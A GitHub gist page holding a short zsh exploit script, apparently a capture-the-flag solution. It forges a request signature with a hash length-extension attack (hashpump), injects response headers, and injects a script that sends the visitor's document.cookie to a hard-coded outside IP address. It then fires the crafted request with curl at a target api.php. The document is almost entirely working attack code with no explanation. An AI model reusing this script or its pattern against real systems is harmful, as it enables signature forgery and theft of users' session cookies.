Skip to content

Instantly share code, notes, and snippets.

@tyage
Last active April 1, 2020 03:31
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tyage/cb72df8bf07eac991c08cf0c912731d6 to your computer and use it in GitHub Desktop.
Save tyage/cb72df8bf07eac991c08cf0c912731d6 to your computer and use it in GitHub Desktop.
#!/usr/local/bin/zsh
command=(
#cookie "PHPSESSID" "rsha06bn3700l9jtvpvsottf7q"
#header "Content*" "compressed"
header "HTTP/ 999 " "found"
#header "HTTP/0.9 " "OK"
#header "Connection" "close"
body "<script\r\n>location.href='//35.209.128.35:12345/?'+document.cookie\r\n</script" b
hello 1 1
)
for i in `seq 0 3`; do
var1=$command[`expr $i \* 3 + 1`]
var2=$command[`expr $i \* 3 + 2`]
var3=$command[`expr $i \* 3 + 3`]
data="$data|$(echo -n $var1 | base64),$(echo -n $var2 | base64),$(echo -n $var3 | base64)"
done
values=($(hashpump -s '7f104404b0d414d18ab3efb831e333d7' --data ',,' -a "|$data" -k 12))
sig=$values[1]
q=$values[2]
url="http://110.10.147.166/api.php?sig=$sig&q=$(printf $q | base64)"
#url="http://localhost:8080/api.php?sig=$sig&q=$(printf $q | base64)"
echo $url
curl $url -i
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment